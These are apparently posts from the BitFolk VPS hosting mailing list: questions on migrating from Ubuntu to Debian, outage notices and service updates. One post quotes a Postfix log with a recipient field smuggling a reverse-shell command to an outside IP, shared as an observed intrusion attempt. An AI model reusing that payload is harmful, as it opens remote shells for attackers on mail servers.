I'm thinking of changing my vps to debian from ubuntu
I'm not sure the best way to do it
I was thinking of maybe paying for an extra months hosting and having a 2nd
server setup with a clean install and leaving me a month to get everything
transferred over and tested before taking the old 1 down
i was wondering if anyone has done anything like this or can see any
problems with doing it like that or has a better idea
Being a bit of a Bitfolk newbie and a gentoo rice racer, I was wondering if
anyone could tell me what the best -march setting would be? I understand
that its only really a concern if the VM was migrated to another host with
differing CPU features. Does this ever happen or are VM's fairly tightly
coupled with the host?
Cheers,
Ashley Nicholls
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Has anyone managed to get a Debian Xen kernel working on the Ubuntu 8.04 LTS
release on a Bitfolk VPS? I'm having problems with stability, but haven't
managed to get the Debian kernel to boot yet to see if it is any better. It
would save me some down time and experimentation if somebody has already done
it :) My next step will have to be abandoning Ubuntu and heading back to
Debian, but it would be nicer to be standardised on Ubuntu for my servers and
then there's all the hassle of another rebuild and configure.
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Hello,
I've added a section in the panel for managing the SSH public keys
of your Xen Shell console. That is what you connect to when you do:
ssh username(a)username.console.bitfolk.com
You'll find it at:
https://panel.bitfolk.com/account/security/
If you already had keys added, it would be good if you could have a
look at it and make sure that the keys you expect to be there are
there.
Cheers,
Andy
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Hi,
At approximately 1550, dunkel lost power because someone doing
unrelated work in the rack accidentally dislodged the power cord. I
was alerted a few minutes later and took a few more minutes to
assess the situation.
The last few VPSes are in the process of starting now.
If you're on dunkel and you're still seeing problems after about
4.30pm, please contact support.
Please accept my apologies for the disruption. I will be passing on
some service credit, the amount of which will depend on how much I
get back from the provider but it will be more than zero.
Cheers,
Andy
Hi,
At approx 1955Z faustino became unavailable. Indications are that
nothing else in the same rack is available either, so it looks like
a rack-wide or suite-wide outage. Colo provider is investigating.
More info as I have it.
(Although this outage is similar to the one before that affected
faustino, it's unlikely to be the same cause as that machine was
moved to a different suite)
Cheers,
Andy
Hello,
I've finally got around to making cacti auth from LDAP like the xen
shell console and Nagios do, so that's one less password for you to
have to remember.
Cheers,
Andy
Hello Folks,
With all the talk about SSH security, it is also shocking to see the
break-in attempts made on other services e.g. httpd and smtpd.
The httpd are often mod_proxy or PHP/phpMyAdmin attempts (no PHP
here), but an odd record in the Postfix log today was a little
different :
X-Original-To: "root+:|exec /bin/sh 0</dev/tcp/92.243.5.144/9991 1>&0 2>&0"
Delivered-To: "root+:|exec /bin/sh 0</dev/tcp/92.243.5.144/9991 1>&0
2>&0"@calliope.bitfolk
Received: from bluedick (debian01.vservers.at [194.106.206.7])
by calliope (Postfix) with SMTP id F1B31DC001
for <"root+:|exec /bin/sh 0</dev/tcp/92.243.5.144/9991 1>&0
2>&0">; Wed, 17 Mar 2010 22:53:13 +0000 (GMT)
Message-Id: <20100317225313.F1B31DC001@calliope>
Date: Wed, 17 Mar 2010 22:53:13 +0000 (GMT)
From: blue(a)dick.com
To: undisclosed-recipients:;
I assume some sort of attempt to break Postfix. This message was
delivered to "root" mailbox (no content).
Scary place the internet sometimes ....
Cheers,
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Hi,
At approximately 0806Z I was alerted that host kahlua had become
unresponsive.
Despite ping still working, and SSH answering as far as its banner,
no further networking was in evidence. I attempted to gain control
from the serial console but this was also unresponsive, so after
trying a few things I had no choice but to reboot the server.
As of approximately 0838Z, all VPSes on kahlua have been restarted
although some are still doing a fsck. Please contact support if
you're still experiencing problems.
I am now attempting to establish what went wrong and will follow up
when I have more info.
Please accept my apologies for the disruption.
Cheers,
Andy
PS During the problems there were progress updates posted to
http://identi.ca/bitfolk and http://twitter.com/bitfolk
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Hello,
A recently-compromised customer appears to have had their system
logs removed, which hampers investigation somewhat.
Would a remote (BitFolk-operated) syslog server be useful?
Cheers,
Andy
